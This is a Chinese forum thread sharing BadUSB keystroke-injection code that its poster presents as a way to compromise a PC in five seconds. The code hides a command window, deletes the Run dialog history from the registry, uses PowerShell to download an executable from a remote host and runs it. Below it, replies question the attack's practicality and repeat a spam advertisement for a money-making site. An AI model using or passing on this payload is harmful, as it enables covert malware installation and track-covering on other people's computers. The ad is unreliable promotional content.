关于[BadUsb5秒内黑掉一台电脑]代码公布
本帖最后由 mthought 于 2015-11-2 17:22 编辑原帖:http://www.52pojie.cn/thread-427287-1-1.html
自己找的代码大家可以参考
void setup() { //初始化,这里的代码只执行一次
delay(5000); //设置延时,让系统有足够的时间识别BadUsb5,防止后续代码执行错乱。
Keyboard.set_modifier(MODIFIERKEY_RIGHT_GUI); // 按下Win键
Keyboard.set_key1(KEY_R); // 同时按下R键
Keyboard.send_now(); // 发送Win+R
delay(100);
Keyboard.print("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1");
//开启极小的CMD窗口,设置文字和背景对比度尽可能相近,达到隐藏输入的目的
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
delay(300);
Keyboard.println("reg delete HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU /f"); //利用注册表清除开始--运行的记录
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
Keyboard.println("powershell (new- object System.Net.WebClient).DownloadFile('http://192.168.1.100 /a1.exe','D:\\1.exe')"); //下载远程的payload
Keyboard.set_key1(KEY_ENTER);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.send_now();
delay(3000); //设置延迟,等待下载完成
Keyboard.println("d:\\1.exe"); //执行打开命令
Keyboard.set_key1(KEY_ENTER);
delay(300);
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.set_modifier(MODIFIERKEY_ALT);
Keyboard.set_key1(KEY_SPACE);
Keyboard.set_key2(KEY_C);
Keyboard.send_now();
Keyboard.set_modifier(0);
Keyboard.set_key1(0);
Keyboard.set_key2(0);
Keyboard.send_now(); //关闭cmd窗口
}
void loop() //循环,这里的代码无限循环
{
}
550060345 发表于 2015-11-2 18:22
其实这个用处并不大,你是不是要拿着一个带着一根很长的线的东西跑到别人的电脑上去插一下?电脑白痴也要问 ...
一个U盘就够了吧而且 如果是校园或者公司的内网 就看你的病毒能发挥多大作用了 Super爆破者 发表于 2015-11-2 17:25
最牛的挂机软件赚钱,一天赚个200多元钱不是问题,可以免费提现!
推荐你也去使用:http://www.wakuang888 ...
删前留名,,,,,, 前排!!!!!!!!!! 楼主的帖子,看了半天愣是没明白说的什么 Super爆破者 发表于 2015-11-2 17:25
最牛的挂机软件赚钱,一天赚个200多元钱不是问题,可以免费提现!
推荐你也去使用:http://www.wakuang888 ...
已举报,谢谢{:1_911:} C语言?怎么用 其实这个用处并不大,你是不是要拿着一个带着一根很长的线的东西跑到别人的电脑上去插一下?电脑白痴也要问你要干啥 拿来用自己的电脑试试
页:
[1]
2